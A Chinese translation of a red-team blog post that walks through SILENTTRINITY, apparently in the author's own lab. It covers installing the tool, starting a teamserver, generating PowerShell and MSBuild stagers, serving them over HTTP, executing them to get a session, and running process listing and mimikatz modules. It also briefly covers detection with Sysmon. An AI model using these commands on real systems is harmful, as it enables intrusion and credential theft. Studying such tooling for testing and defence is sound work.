初探SILENTTRINITY:红队工具实战指南

本文详细介绍了SILENTTRINITY渗透测试工具的安装配置过程,包括团队服务器搭建、客户端连接、监听器创建和载荷生成,并通过实际演示展示权限提升和横向移动技术。

我的SILENTTRINITY初体验

作者:Jordan Drysdale // 黑山信息安全公司

TL;DR

SILENTTRINITY(ST)在2019年7月多次成为新闻焦点,我想了解其中的奥秘。本文包含足够的信息来安装ST、运行团队服务器并连接客户端到团队服务器。完成这些基础工作后,我们将深入核心内容。

跟随操作的前置条件

  • Digital Ocean $10/月 Ubuntu 19.10节点
  • 用于攻击的Windows机器
  • 执行所述攻击的权限

安装

每次安装似乎都会遇到一些问题。但目前我的稳定安装步骤如下:

1
2
3
4
5
6
7
git clone https://github.com/byt3bl33d3r/SILENTTRINITY
apt update && apt upgrade
apt install python3.7 python3.7-dev python3-pip
sudo -H pip3 install -U pipenv
cd SILENTTRINITY
pip3 install -r requirements.txt
pipenv install && pipenv shell

SILENTTRINITY实战

我们的故事从一个Windows域标准用户开始,假设该用户点击了链接或执行了HTA文件。该用户具有适当(非管理员)权限,因此限制了我们的权限提升能力。接下来,本文将介绍基本用法,希望能扩展读者和我自己的知识。

假设安装顺利,让我们启动服务器。出于操作安全考虑,我们会确保服务器在分类域名上运行,通过防火墙限制监听服务的访问,并注意监听器可能包含漏洞。

1
python st.py teamserver --port 81 10.10.98.228 BadPassword123

执行后,我们应该获得证书指纹和服务器运行确认。

接下来,需要连接客户端。在红队操作中,服务器会在云服务或VPS上运行,并通过代理、VPN、防火墙等连接。这里,我将在另一个tmux窗格中本地连接服务器。

下一个截图显示了很多内容,包括pwd(opt/SILENTTRINITY)和准备虚拟环境以避免干扰本地系统的其他Python依赖。

使用的命令和额外的客户端连接到Teamserver如下:

1
2
3
pwd
pipenv install && pipenv shell
python st.py client wss://aptclass:[email protected]:81

连接后的启动屏幕:

从这里,我们需要启动监听器。

1
2
listeners
use https

HTTPS监听器的选项菜单:

stagers/powershell选项配置和我最喜欢的基于上下文的标签补全实现如下所示:

1
2
stagers
options

但我只想要最快的恶意软件生成方式:

1
2
3
stagers
powershell
generate https

以及:

1
2
3
stagers
msbuild
generate https

stager.ps1文件被放入/opt/SILENTTRINITY/目录,基本准备执行。python -m http.server非常适合快速搭建可浏览的Web服务器。我还生成了用于MSBuild的stager.xml,它更安静,关注度较低,尽管这种情况也在改变。

1
python -m http.server

然后,从客户端获取stager文件并执行。完全披露:PowerShell被标记。stager.xml文件也被标记。但msbuild.xml是用以下命令"构建"的:

1
Msbuild.exe stager.xml

我们获得了会话。

在这里,就像《阴阳魔界》一样,我控制SIEM、sysmon部署、水平和垂直方向,因此我不在乎是否被自己检测到。事实上,我希望如此。使用Sysmon,这异常容易。

接下来,通过在Kibana中过滤端点sysmon日志的event_id:3来查找sysmon事件ID。如下所示,我们有可能被入侵的主机、进程和目标IP地址。

但我们不妨继续探索,对吧?Egypt总是告诉我,他会通过验证运行进程和进程完整性来开始任何meterpreter会话,因为这些很重要。如果我们无法读取所有进程详细信息,我们就不是管理员,询问可能是一个IoC。

让我们进入模块部分并运行ps。

1
2
3
modules
use boo/ps
run <session ID>

对这个系统来说,游戏已经结束。我们拥有特权shell。

让我们执行:

1
2
use boo/mimikatz
run <session ID>

大家干杯,感谢阅读!

链接:

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计